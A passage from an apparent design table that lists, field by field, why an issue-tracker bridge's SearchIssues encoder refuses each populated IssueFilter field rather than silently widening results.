ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Priority | refuse | `IssueFilter.Priority` | a populated IssueFilter.Priority refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.IssueType | refuse | `IssueFilter.IssueType` | a populated IssueFilter.IssueType refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Assignee | refuse | `IssueFilter.Assignee` | a populated IssueFilter.Assignee refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Labels | refuse | `IssueFilter.Labels` | a populated IssueFilter.Labels refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.LabelsAny | refuse | `IssueFilter.LabelsAny` | a populated IssueFilter.LabelsAny refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.ExcludeLabels | refuse | `IssueFilter.ExcludeLabels` | a populated IssueFilter.ExcludeLabels refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.LabelPattern | refuse | `IssueFilter.LabelPattern` | a populated IssueFilter.LabelPattern refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.LabelRegex | refuse | `IssueFilter.LabelRegex` | a populated IssueFilter.LabelRegex refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.TitleSearch | refuse | `IssueFilter.TitleSearch` | a populated IssueFilter.TitleSearch refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.IDPrefix | refuse | `IssueFilter.IDPrefix` | a populated IssueFilter.IDPrefix refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.SpecIDPrefix | refuse | `IssueFilter.SpecIDPrefix` | a populated IssueFilter.SpecIDPrefix refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.TitleContains | refuse | `IssueFilter.TitleContains` | a populated IssueFilter.TitleContains refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.DescriptionContains | refuse | `IssueFilter.DescriptionContains` | a populated IssueFilter.DescriptionContains refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.NotesContains | refuse | `IssueFilter.NotesContains` | a populated IssueFilter.NotesContains refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.ExternalRefContains | refuse | `IssueFilter.ExternalRefContains` | a populated IssueFilter.ExternalRefContains refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.ExternalRef | refuse | `IssueFilter.ExternalRef` | a populated IssueFilter.ExternalRef refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.CreatedAfter | refuse | `IssueFilter.CreatedAfter` | a populated IssueFilter.CreatedAfter refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.CreatedBefore | refuse | `IssueFilter.CreatedBefore` | a populated IssueFilter.CreatedBefore refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.UpdatedAfter | refuse | `IssueFilter.UpdatedAfter` | a populated IssueFilter.UpdatedAfter refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.UpdatedBefore | refuse | `IssueFilter.UpdatedBefore` | a populated IssueFilter.UpdatedBefore refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.ClosedAfter | refuse | `IssueFilter.ClosedAfter` | a populated IssueFilter.ClosedAfter refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.ClosedBefore | refuse | `IssueFilter.ClosedBefore` | a populated IssueFilter.ClosedBefore refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.StartedAfter | refuse | `IssueFilter.StartedAfter` | a populated IssueFilter.StartedAfter refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.StartedBefore | refuse | `IssueFilter.StartedBefore` | a populated IssueFilter.StartedBefore refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.AfterCreatedAt | refuse | `IssueFilter.AfterCreatedAt` | a populated IssueFilter.AfterCreatedAt refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.AfterID | refuse | `IssueFilter.AfterID` | a populated IssueFilter.AfterID refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.AfterPriority | refuse | `IssueFilter.AfterPriority` | a populated IssueFilter.AfterPriority refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.EmptyDescription | refuse | `IssueFilter.EmptyDescription` | a populated IssueFilter.EmptyDescription refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.NoAssignee | refuse | `IssueFilter.NoAssignee` | a populated IssueFilter.NoAssignee refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.NoLabels | refuse | `IssueFilter.NoLabels` | a populated IssueFilter.NoLabels refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.PriorityMin | refuse | `IssueFilter.PriorityMin` | a populated IssueFilter.PriorityMin refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.PriorityMax | refuse | `IssueFilter.PriorityMax` | a populated IssueFilter.PriorityMax refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.SourceRepo | refuse | `IssueFilter.SourceRepo` | a populated IssueFilter.SourceRepo refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Ephemeral | refuse | `IssueFilter.Ephemeral` | a populated IssueFilter.Ephemeral refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.EphemeralTier | refuse | `IssueFilter.EphemeralTier` | a populated IssueFilter.EphemeralTier refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Pinned | refuse | `IssueFilter.Pinned` | a populated IssueFilter.Pinned refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.IsBlocked | refuse | `IssueFilter.IsBlocked` | a populated IssueFilter.IsBlocked refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.IsTemplate | refuse | `IssueFilter.IsTemplate` | a populated IssueFilter.IsTemplate refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.NoParent | refuse | `IssueFilter.NoParent` | a populated IssueFilter.NoParent refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.MolType | refuse | `IssueFilter.MolType` | a populated IssueFilter.MolType refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.WispType | refuse | `IssueFilter.WispType` | a populated IssueFilter.WispType refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.ExcludeStatus | refuse | `IssueFilter.ExcludeStatus` | a populated IssueFilter.ExcludeStatus refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.ExcludeTypes | refuse | `IssueFilter.ExcludeTypes` | a populated IssueFilter.ExcludeTypes refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Deferred | refuse | `IssueFilter.Deferred` | a populated IssueFilter.Deferred refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.DeferAfter | refuse | `IssueFilter.DeferAfter` | a populated IssueFilter.DeferAfter refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.DeferBefore | refuse | `IssueFilter.DeferBefore` | a populated IssueFilter.DeferBefore refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.DueAfter | refuse | `IssueFilter.DueAfter` | a populated IssueFilter.DueAfter refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.DueBefore | refuse | `IssueFilter.DueBefore` | a populated IssueFilter.DueBefore refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Overdue | refuse | `IssueFilter.Overdue` | a populated IssueFilter.Overdue refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.MetadataFields | refuse | `IssueFilter.MetadataFields` | a populated IssueFilter.MetadataFields refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.HasMetadataKey | refuse | `IssueFilter.HasMetadataKey` | a populated IssueFilter.HasMetadataKey refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.IncludeDependencies | refuse | `IssueFilter.IncludeDependencies` | a populated IssueFilter.IncludeDependencies refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.SkipLabels | refuse | `IssueFilter.SkipLabels` | a populated IssueFilter.SkipLabels refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.SkipCounts | refuse | `IssueFilter.SkipCounts` | a populated IssueFilter.SkipCounts refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.SkipWisps | refuse | `IssueFilter.SkipWisps` | a populated IssueFilter.SkipWisps refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.NoIDShrink | refuse | `IssueFilter.NoIDShrink` | a populated IssueFilter.NoIDShrink refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Offset | refuse | `IssueFilter.Offset` | a populated IssueFilter.Offset refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.SortBy | refuse | `IssueFilter.SortBy` | a populated IssueFilter.SortBy refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.SortDesc | refuse | `IssueFilter.SortDesc` | a populated IssueFilter.SortDesc refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.MaxRows | refuse | `IssueFilter.MaxRows` | a populated IssueFilter.MaxRows refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.MaxRowsSource | refuse | `IssueFilter.MaxRowsSource` | a populated IssueFilter.MaxRowsSource refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.Lite | refuse | `IssueFilter.Lite` | a populated IssueFilter.Lite refuses on the SearchIssues bridge | the off-role SearchIssues bridge serves TWO shapes and no others: the exact-ids fast path D11 special-cases to getIssue, and the ParentID-only descendant walk D4 maps to paged listIssues?parent=. Any other populated field is a filter the bridge would have to drop to answer at all, and a dropped filter widens the set invisibly — so it refuses | D8 (off-role raw methods), D4, D11, D9 L12 | TestEncoderHonorsEveryTableDisposition | +| E-IssueFilter.shapeConflict | refuse | — | an id set and a ParentID together refuse — the pair is NEITHER expressible shape | the exact-ids shape dials getIssue per id and applies no filter at all, so honoring the parent restriction would mean discarding answers client-side; the descendant walk dials listIssues?parent=, which publishes no id filter, so honoring the ids would mean intersecting two answers no single wire call asked 